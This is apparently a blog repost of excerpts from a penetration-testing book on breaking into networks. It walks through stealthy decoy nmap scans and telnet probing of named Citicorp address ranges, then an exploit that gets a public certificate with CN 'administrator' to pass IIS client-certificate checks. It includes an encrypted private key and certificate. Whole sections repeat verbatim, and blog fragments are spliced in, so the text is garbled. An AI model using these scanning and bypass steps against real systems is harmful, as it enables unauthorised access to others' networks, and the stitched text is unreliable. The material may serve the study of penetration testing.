140.195.193.192.IN-ADDR.ARPA domain name pointer mango1.citicorp.com
141.195.193.192.IN-ADDR.ARPA domain name pointer mango2.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
Choosing which ports to scan for can be a tricky business. The best way is trying to choose ports that you think might generate a response. Looking at the reverse (or forward) DNS entries sometimes gives one a clue as to which ports to test for. Looking at the hosts reverse entries I am choosing my ports to be 80 (HTTP), port 443 (HTTPS) and port 264 (I hope the fw-a-pri is a FW1 with management port 264 open).The actual command issued looks like this:
#nmap -sS -P0 -Tpolite --randomize_hosts -D20x.195.1x0.5x,19x.3x.90.1x8,x04.x2.x53.18 192.193.195.120-150 -p 80,264,443
Let us have a quick look at the command. -sS means we are doing a half-open SYN scan, -P0 mean don't stop if you can't ping the host (nmap only scans pingable hosts by default, and we know that these cannot be pinged), -p 80,264,443 means only look at ports 80,264 and 443. Note - you have to be root to do SYN scanning. The output looks like this (somewhat manipulated to save the rain forest):
Interesting ports on global121.citicorp.com (192.193.195.121):
[same on 121, .122, .126, .128, .133, .134, .143, .148] sample A
Port State Service
80/tcp filtered http
264/tcp filtered bgmp
443/tcp filtered https
Interesting ports on (192.193.195.147):
[same on .131, .136, .141., .150] sample B
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
264/tcp filtered bgmp
Interesting ports on global120.citicorp.com (192.193.195.120):
[same on .132, .123] sample C
Port State Service
80/tcp open http
264/tcp filtered bgmp
443/tcp open https
What can be deduced from the output? First of all this - hosts in sample A is filtered on all three ports. This does not mean that the hosts are not alive - it simply means that we do not know. Hosts in sample B is alive - we are 100% sure of this - although port 264 is filtered, these hosts answered that they are not listening on ports 80 or 443 (state "closed"). Sample C is the more interesting of the lot - both machines in sample C is listening on ports 80 and 443. It is most likely that they are running some form of (HTTPS-enabled) webserver.
From this scan we also see that IP numbers that does not have reverse DNS entries are not necessarily down, and visa versa. It would thus make no sense to only scan hosts with reverse entries (sometimes companies would do this - why no one would know). We also see that our scan on port 264 was unsuccessful in all cases (bummer!). From this part of netblock we can thus compile a list of hosts that we know is alive:
fw-a-pri.ems.citicorp.com (192.193.195.150)
192.193.195.127
mango2.citicorp.com (192.193.195.141)
global123.citicorp.com (192.193.195.123)
192.193.195.131
ld1-www.citicorp.com (192.193.195.132)
global120.citicorp.com (192.193.195.120)
192.193.195.136
The worth of mapping the network carefully now pays off. We know that the 192.193 network is not routed to the same place. This means we can have a "alive" run against many parts of the 192.193 network without raising the alarm - parts of the network (class Cs) are protected (or not protected) by different firewalls/routers, and changes are slim that these different firewalls are logging to a common place.
Method1: (against stateful inspection Fire Wall's)
The idea is to find machines that are alive. The way we do this is by sending data to the host and looking if we can see any response. If our data were blocked at the router or firewall it would look as though the machine is dead. The idea is thus to find data that is allowed to pass the filters, and that would trigger a response. Per default just about all operating systems will listen on certain ports (if TCP/IP is enabled). Computers are likely to be connected to the Internet with a purpose - to be a webserver, mailserver, DNS server etc. Thus, chances are that a host that is alive and connected to the Internet is listening on some ports. Furthermore it is likely (less but still) than the firewall or screening router protecting these hosts allows some for of communication to these hosts - communication is less likely to be a one-way affair. Packetfilters uses source IPs, source ports, destination IPs and destination ports (and some flags) as parameters
to decide if a packet will be allowed to enter the network. Normally a firewall will allow the world to communicate to some host or hosts in some form or the other - thus not looking at the source IP address.
The idea would thus be to send a TCP connect on well-known ports and hope that 1) the firewall passes it through 2) the host is listening on the specified port. Given the response of the host, one can determine which of 1) and 2) happened. If we get no response we know that the firewall is blocking us - if we get a response from the server telling us that the port is not open we at least know that it was not filtered by the firewall. Hereby two examples:
telnet wips.sensepost.com 22
Trying 160.124.19.98...
telnet: connect to address 160.124.19.98: Connection refused
telnet: Unable to connect to remote host
The host responded by telling us that it is not listening on port 22. It also tells us that there is nothing between us and the host (on port 22). So, if we find that for a certain block a number of hosts returns a "connection refused" while other are return a SSH version (port 22 is SSH) we can safely assume that the firewall is configured to allow anyone to connect to port 22 (anywhere in the netblock). Another example:
telnet wips.sensepost.com 44
Trying 160.124.19.98...
telnet: Unable to connect to remote host: Connection timed out
Here the connection to port 25 is timing out - telling us that there are something blocking the packet to arrive at the final destination. Let us assume that we scan a netblock for port 25 and we find that certain hosts answers with a SMTP greeting, while others simply time out. This tells us that the firewall is configured to only allow packets with a certain destination port on a certain destination IP to enter the network. If we find a "connection refused" answer in a the same net we know that someone probably screwed up - the service is not running, but the config on the firewall has not been updated to close the "hole".
A machine that is dead will respond in the same way as a machine that is protected by a firewall that does not allow anything through. Thus, getting no response from a server does not mean that it is heavily firewalled - it might just be switched off, or unplugged.
Thus, getting back to the original argument - sending TCP requests to a number of well known ports might tell us if the machine is indeed alive. This might be useful in a situation where ICMP ping requests or replies are blocked on a firewall. We have no way to know if any hosts are alive but the connect to well-known ports and hope that 1) it is not firewalled and than 2) we get some response (be that "connection refused" or some service response).
The more ports we test for, the more our requests will look like a port scan (it is in fact a port scan - with just a limited amount of ports that are tested), and will trigger an IDS. It the therefore very tricky to decide if this action can be executed without triggering alarms - more so when we are scanning a large netblock. As a general rule, the number of IPs tested times the number of ports tested should not exceed 15. Testing 15 hosts for port 80 is OK, testing 5 IPs for 3 ports are OK etc. This is a very general rule and really depends on your target, the competency level of their technical staff and how anonymous you want to stay (and how lucky you feel).
Let us stay with Citibank (Citibank - I REALLY mean no harm - you are just such a good example network). Using the previous ping technique it seems that a device is blocking ICMP to the 192.193.195.0/24 netblock. We will thus proceed to do a "TCP ping" to 30 hosts (I feel lucky) in the block.
choose this block because it has interesting reverse DNS entries (see previous section):
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2-a.citicorp.com
121.195.193.192.IN-ADDR.ARPA domain name pointer global121.citicorp.com
122.195.193.192.IN-ADDR.ARPA domain name pointer global122.citicorp.com
123.195.193.192.IN-ADDR.ARPA domain name pointer global123.citicorp.com
124.195.193.192.IN-ADDR.ARPA domain name pointer global124.citicorp.com
125.195.193.192.IN-ADDR.ARPA domain name pointer global125.citicorp.com
132.195.193.192.IN-ADDR.ARPA domain name pointer ld1-www.citicorp.com
140.195.193.192.IN-ADDR.ARPA domain name pointer mango1.citicorp.com
141.195.193.192.IN-ADDR.ARPA domain name pointer mango2.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
Choosing which ports to scan for can be a tricky business. The best way is trying to choose ports that you think might generate a response. Looking at the reverse (or forward) DNS entries sometimes gives one a clue as to which ports to test for. Looking at the hosts reverse entries I am choosing my ports to be 80 (HTTP), port 443 (HTTPS) and port 264 (I hope the fw-a-pri is a FW1 with management port 264 open).The actual command issued looks like this:
#nmap -sS -P0 -Tpolite --randomize_hosts -D20x.195.1x0.5x,19x.3x.90.1x8,x04.x2.x53.18 192.193.195.120-150 -p 80,264,443
Let us have a quick look at the command. -sS means we are doing a half-open SYN scan, -P0 mean don't stop if you can't ping the host (nmap only scans pingable hosts by default, and we know that these cannot be pinged), -p 80,264,443 means only look at ports 80,264 and 443. Note - you have to be root to do SYN scanning. The output looks like this (somewhat manipulated to save the rain forest):
Interesting ports on global121.citicorp.com (192.193.195.121):
[same on 121, .122, .126, .128, .133, .134, .143, .148] sample A
Port State Service
80/tcp filtered http
264/tcp filtered bgmp
443/tcp filtered https
Interesting ports on (192.193.195.147):
[same on .131, .136, .141., .150] sample B
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
264/tcp filtered bgmp
Interesting ports on global120.citicorp.com (192.193.195.120):
[same on .132, .123] sample C
Port State Service
80/tcp open http
264/tcp filtered bgmp
443/tcp open https
What can be deduced from the output? First of all this - hosts in sample A is filtered on all three ports. This does not mean that the hosts are not alive - it simply means that we do not know. Hosts in sample B is alive - we are 100% sure of this - although port 264 is filtered, these hosts answered that they are not listening on ports 80 or 443 (state "closed"). Sample C is the more interesting of the lot - both machines in sample C is listening on ports 80 and 443. It is most likely that they are running some form of (HTTPS-enabled) webserver.
From this scan we also see that IP numbers that does not have reverse DNS entries are not necessarily down, and visa versa. It would thus make no sense to only scan hosts with reverse entries (sometimes companies would do this - why no one would know). We also see that our scan on port 264 was unsuccessful in all cases (bummer!). From this part of netblock we can thus compile a list of hosts that we know is alive:
fw-a-pri.ems.citicorp.com (192.193.195.150)
192.193.195.127
mango2.citicorp.com (192.193.195.141)
global123.citicorp.com (192.193.195.123)
192.193.195.131
ld1-www.citicorp.com (192.193.195.132)
global120.citicorp.com (192.193.195.120)
192.193.195.136
The worth of mapping the network carefully now pays off. We know that the 192.193 network is not routed to the same place. This means we can have a "alive" run against many parts of the 192.193 network without raising the alarm - parts of the network (class Cs) are protected (or not protected) by different firewalls/routers, and changes are slim that these different firewalls are logging to a common place.
Thursday, July 1, 2010
HTTPS (SSL3) (443 TCP)
HTTPS (SSL3) (443 TCP)
HTTP Error 403
403.7 Forbidden: Client certificate required
This error occurs when the resource you are attempting to access requires your browser to have a client Secure Sockets Layer (SSL) certificate that the
server recognizes. This is used for authenticating you as a valid user of the resource.
The Common Name (CN) of the client certificate is mapped to a user on the NT server, and access rights on the server are given according to the user name. Again, it is beyond the scope of the document to explain the inner workings of IIS servers or PKI. The reader should understand that if a webserver trusts a public CA (such as Verisign) and relies on a client certificate's CN to authenticate the user it can be exploited. Let us see how we will exploit this.
The first step would be to obtain a class 1 client certificate from Verisign. Go to http://digitalid.verisign.com. Apply for a class 1 personal certificate. In the firstname field enter a name - this name will be the CN of the client certificate and as such a firstname of "administrator" would not be a bad choice. Leave the lastname blank. Follow all the steps - the email thing, the "install new client certificate etc". At the end of all of this you should have a client certificate installed in your browser. You now want to use this client certificate with the SSLproxy, so it has to be exported. Export the cert as a PKCS12 package and save it to file with a P12 extension. The SSLproxy package cannot read PKCS12 cert packages so you have to convert it. We use OpenSSL to convert the cert to something more portable:
# openssl pkcs12 -in mycert.p12 -clcerts
The openSSL PKCS12 module ask for 3 passwords or PINs - the first one is the current PIN/password that you chose for your cert - the second two are the new PIN/password for the cert. The output of the command looks like this:
Enter Import Password:
MAC verified OK
Bag Attributes
- 41 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
Key Attributes:
Enter PEM pass phrase:
Verifying password - Enter PEM pass phrase:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,17A295CBFA235CE5
SmFYIhSdmA7c9pT+ScpzNuGD3QHo999ugVBcWDHnNlBmDXFYY2+Zepgx9dLnrw8E
EeV8YutU/0dvQwlCvENVp3vgEQ9ca1xeskPBIxBoitWxGWWGnAq/Z/KHhDuISNQU
rqDmEP9szmlZIH3tjzjNh+yWcvzXOhJb1wGLqnwx6lTlK88Se4rY4d2AyEEe8nzP
YcDRIFy+Gw4ZLAcplotOYj6uN13NKobfy6Gs2v0adY0/Bqg91AFDP4VynPn7ptsC
Ez2Nz6n3zXO+4AozJxuPyXxt0So6/4hX7E9aEuFxrpUnW9xcxGMmcPd8gBY2wtTb
k9jBYKz2d3k/EtYpdbVWgFwWjurzt5VX4WtEE78gLDw/BzPuq2wq9ZtGHYDNonBK
tQpCpnmiPGxvFCYyvHgnFhht59C4nrXZ+hO8jwZ62shnWSnUYM73MyMqJoKVwQTP
j4a6P0dSbQX+9u2fBIkMYIC2RYoPTA7Nv2OQZWLf4EeiI+Y1xvDQwfEhHkCdA/bc
cd5EqvYpH+yJxGjivl47DJNtUuPWWgLH5iYFMQEEolv9iXsUsT9ycOtUMdpbjRMW
v09BHDmC0pkn3HbvrBmE0UzHX6nDb8H5lpXDd/D2OLOqwMInXgaUnSA/fPGDP0xo
Gzpm+Hqb77n2REv46gnzARWtxCXFSFBP0Ck5eGQD8Ah5/T+kJQt3bVI72YT8+GY6
7uuoYrVVyjtqG57CCYtXCZL3W1SV2hUGUD7VPZFiq7u0LHYLM+bB2z+9STcAQDJY
AWU/XJSNL3Ba7xfOsxklfRFtjrvkLs0jY/GRBTizufQHnVIJQwH3Ag==
-----END RSA PRIVATE KEY-----
Bag Attributes
friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
subject=/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=www.verisign.com/repository/RPA
Incorp. by Ref.,LIAB.LTD(c)98/OU=Persona Not Validated/OU=Digital ID Class 1 -
Netscape/CN=administrator/Email=roelof@sensepost.com
issuer= /O=VeriSign, Inc./OU=VeriSign Trust Network/OU=www.verisign.com/repository/RPA
Incorp. By Ref.,LIAB.LTD(c)98/CN=VeriSign Class 1 CA Individual Subscriber-Persona Not
Validated
-----BEGIN CERTIFICATE-----
MIID+DCCA2GgAwIBAgIQfvf0Rx3VZ3jAV3CIxZt2/jANBgkqhkiG9w0BAQQFADCB
zDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBCeSBSZWYuLExJQUIuTFREKGMpOTgxSDBGBgNVBAMTP1Zl
cmlTaWduIENsYXNzIDEgQ0EgSW5kaXZpZHVhbCBTdWJzY3JpYmVyLVBlcnNvbmEg
Tm90IFZhbGlkYXRlZDAeFw0wMDA4MTgwMDAwMDBaFw0wMDEwMTcyMzU5NTlaMIIB
BzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBieSBSZWYuLExJQUIuTFREKGMpOTgxHjAcBgNVBAsTFVBl
cnNvbmEgTm90IFZhbGlkYXRlZDEmMCQGA1UECxMdRGlnaXRhbCBJRCBDbGFzcyAx
IC0gTmV0c2NhcGUxFjAUBgNVBAMUDWFkbWluaXN0cmF0b3IxIzAhBgkqhkiG9w0B
CQEWFHJvZWxvZkBzZW5zZXBvc3QuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQCuzCptG2BoEqAp8rz6V/SlABacd2hxEbbbnya/KlrtYb9JI3msRlQiCGaq
6dvunApS4DwEnqvukWDpMLzX8hwqFrFsH5ael5xGjWuJKGhS867nWNYF2XahTeUT
9Sms73BRCO3/HbxObeKLfvGsV/WsH6A1JTBiqO3YCj6+OLRL0wIDAQABo4GcMIGZ
MAkGA1UdEwQCMAAwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcBCDAqMCgGCCsGAQUF
BwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMBEGCWCGSAGG+EIBAQQE
AwIHgDAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9j
bGFzczEuY3JsMA0GCSqGSIb3DQEBBAUAA4GBABbGIo0RoPwCTUq4tQQC9mkKH1Us
TwKiE82ncbCELjGfOsW84Ud6W73ZwK1boDsV5jvs/wyiU3TUoqSoX/hoP2BJeSYm
E8yi99tS5phKyHNK+FIVtL60vp59QdUQ6141gdUUGlgLpOLeL8iACXpbgnIWyhw1
P6QDY1kLWUBdT2E5
-----END CERTIFICATE-----
You will see a certificate, and a private key, both PEM encoded. Take these PEM encoded blocks, and cut & paste them to a file - both of them in one file - the order does not matter. Let us assume you call the file mycert.pem. This is your client cert and key. BTW - I would gladly give you the password for the above cert - the only problem is that it is only valid for 60 days, and by the time you read this its probably expired already. The next step is to fire up the SSL proxy to use your client cert, while still verifying the server cert. We start SSLproxy as follows:
# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem -c mycert.pem
Enter PEM pass phrase:[enter you PIN here]
proxy ready, listening for connections
- 42 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
Now test if the server accepts the public signed client certificate by typing http://127.0.0.1:7117 on your browser. Should this work we can now scan 127.0.0.1 on port 7117, and SSLproxy will happily pass along our client cert in every request.
HTTP Error 403
403.7 Forbidden: Client certificate required
This error occurs when the resource you are attempting to access requires your browser to have a client Secure Sockets Layer (SSL) certificate that the
server recognizes. This is used for authenticating you as a valid user of the resource.
The Common Name (CN) of the client certificate is mapped to a user on the NT server, and access rights on the server are given according to the user name. Again, it is beyond the scope of the document to explain the inner workings of IIS servers or PKI. The reader should understand that if a webserver trusts a public CA (such as Verisign) and relies on a client certificate's CN to authenticate the user it can be exploited. Let us see how we will exploit this.
The first step would be to obtain a class 1 client certificate from Verisign. Go to http://digitalid.verisign.com. Apply for a class 1 personal certificate. In the firstname field enter a name - this name will be the CN of the client certificate and as such a firstname of "administrator" would not be a bad choice. Leave the lastname blank. Follow all the steps - the email thing, the "install new client certificate etc". At the end of all of this you should have a client certificate installed in your browser. You now want to use this client certificate with the SSLproxy, so it has to be exported. Export the cert as a PKCS12 package and save it to file with a P12 extension. The SSLproxy package cannot read PKCS12 cert packages so you have to convert it. We use OpenSSL to convert the cert to something more portable:
# openssl pkcs12 -in mycert.p12 -clcerts
The openSSL PKCS12 module ask for 3 passwords or PINs - the first one is the current PIN/password that you chose for your cert - the second two are the new PIN/password for the cert. The output of the command looks like this:
Enter Import Password:
MAC verified OK
Bag Attributes
- 41 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
Key Attributes:
Enter PEM pass phrase:
Verifying password - Enter PEM pass phrase:
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,17A295CBFA235CE5
SmFYIhSdmA7c9pT+ScpzNuGD3QHo999ugVBcWDHnNlBmDXFYY2+Zepgx9dLnrw8E
EeV8YutU/0dvQwlCvENVp3vgEQ9ca1xeskPBIxBoitWxGWWGnAq/Z/KHhDuISNQU
rqDmEP9szmlZIH3tjzjNh+yWcvzXOhJb1wGLqnwx6lTlK88Se4rY4d2AyEEe8nzP
YcDRIFy+Gw4ZLAcplotOYj6uN13NKobfy6Gs2v0adY0/Bqg91AFDP4VynPn7ptsC
Ez2Nz6n3zXO+4AozJxuPyXxt0So6/4hX7E9aEuFxrpUnW9xcxGMmcPd8gBY2wtTb
k9jBYKz2d3k/EtYpdbVWgFwWjurzt5VX4WtEE78gLDw/BzPuq2wq9ZtGHYDNonBK
tQpCpnmiPGxvFCYyvHgnFhht59C4nrXZ+hO8jwZ62shnWSnUYM73MyMqJoKVwQTP
j4a6P0dSbQX+9u2fBIkMYIC2RYoPTA7Nv2OQZWLf4EeiI+Y1xvDQwfEhHkCdA/bc
cd5EqvYpH+yJxGjivl47DJNtUuPWWgLH5iYFMQEEolv9iXsUsT9ycOtUMdpbjRMW
v09BHDmC0pkn3HbvrBmE0UzHX6nDb8H5lpXDd/D2OLOqwMInXgaUnSA/fPGDP0xo
Gzpm+Hqb77n2REv46gnzARWtxCXFSFBP0Ck5eGQD8Ah5/T+kJQt3bVI72YT8+GY6
7uuoYrVVyjtqG57CCYtXCZL3W1SV2hUGUD7VPZFiq7u0LHYLM+bB2z+9STcAQDJY
AWU/XJSNL3Ba7xfOsxklfRFtjrvkLs0jY/GRBTizufQHnVIJQwH3Ag==
-----END RSA PRIVATE KEY-----
Bag Attributes
friendlyName: administrator's VeriSign, Inc. ID
localKeyID: 2C A7 F4 B2 E7 98 CE 80 CA 12 F2 0C 1D E5 25 D3 DE 06 F0 86
subject=/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=www.verisign.com/repository/RPA
Incorp. by Ref.,LIAB.LTD(c)98/OU=Persona Not Validated/OU=Digital ID Class 1 -
Netscape/CN=administrator/Email=roelof@sensepost.com
issuer= /O=VeriSign, Inc./OU=VeriSign Trust Network/OU=www.verisign.com/repository/RPA
Incorp. By Ref.,LIAB.LTD(c)98/CN=VeriSign Class 1 CA Individual Subscriber-Persona Not
Validated
-----BEGIN CERTIFICATE-----
MIID+DCCA2GgAwIBAgIQfvf0Rx3VZ3jAV3CIxZt2/jANBgkqhkiG9w0BAQQFADCB
zDEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBCeSBSZWYuLExJQUIuTFREKGMpOTgxSDBGBgNVBAMTP1Zl
cmlTaWduIENsYXNzIDEgQ0EgSW5kaXZpZHVhbCBTdWJzY3JpYmVyLVBlcnNvbmEg
Tm90IFZhbGlkYXRlZDAeFw0wMDA4MTgwMDAwMDBaFw0wMDEwMTcyMzU5NTlaMIIB
BzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRy
dXN0IE5ldHdvcmsxRjBEBgNVBAsTPXd3dy52ZXJpc2lnbi5jb20vcmVwb3NpdG9y
eS9SUEEgSW5jb3JwLiBieSBSZWYuLExJQUIuTFREKGMpOTgxHjAcBgNVBAsTFVBl
cnNvbmEgTm90IFZhbGlkYXRlZDEmMCQGA1UECxMdRGlnaXRhbCBJRCBDbGFzcyAx
IC0gTmV0c2NhcGUxFjAUBgNVBAMUDWFkbWluaXN0cmF0b3IxIzAhBgkqhkiG9w0B
CQEWFHJvZWxvZkBzZW5zZXBvc3QuY29tMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCB
iQKBgQCuzCptG2BoEqAp8rz6V/SlABacd2hxEbbbnya/KlrtYb9JI3msRlQiCGaq
6dvunApS4DwEnqvukWDpMLzX8hwqFrFsH5ael5xGjWuJKGhS867nWNYF2XahTeUT
9Sms73BRCO3/HbxObeKLfvGsV/WsH6A1JTBiqO3YCj6+OLRL0wIDAQABo4GcMIGZ
MAkGA1UdEwQCMAAwRAYDVR0gBD0wOzA5BgtghkgBhvhFAQcBCDAqMCgGCCsGAQUF
BwIBFhxodHRwczovL3d3dy52ZXJpc2lnbi5jb20vcnBhMBEGCWCGSAGG+EIBAQQE
AwIHgDAzBgNVHR8ELDAqMCigJqAkhiJodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9j
bGFzczEuY3JsMA0GCSqGSIb3DQEBBAUAA4GBABbGIo0RoPwCTUq4tQQC9mkKH1Us
TwKiE82ncbCELjGfOsW84Ud6W73ZwK1boDsV5jvs/wyiU3TUoqSoX/hoP2BJeSYm
E8yi99tS5phKyHNK+FIVtL60vp59QdUQ6141gdUUGlgLpOLeL8iACXpbgnIWyhw1
P6QDY1kLWUBdT2E5
-----END CERTIFICATE-----
You will see a certificate, and a private key, both PEM encoded. Take these PEM encoded blocks, and cut & paste them to a file - both of them in one file - the order does not matter. Let us assume you call the file mycert.pem. This is your client cert and key. BTW - I would gladly give you the password for the above cert - the only problem is that it is only valid for 60 days, and by the time you read this its probably expired already. The next step is to fire up the SSL proxy to use your client cert, while still verifying the server cert. We start SSLproxy as follows:
# sslproxy -L 127.0.0.1 -l 7117 -R 168.xxx.240.30 -r 443 -v Class3.pem -c mycert.pem
Enter PEM pass phrase:[enter you PIN here]
proxy ready, listening for connections
- 42 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
Now test if the server accepts the public signed client certificate by typing http://127.0.0.1:7117 on your browser. Should this work we can now scan 127.0.0.1 on port 7117, and SSLproxy will happily pass along our client cert in every request.
Subscribe to:
Posts (Atom)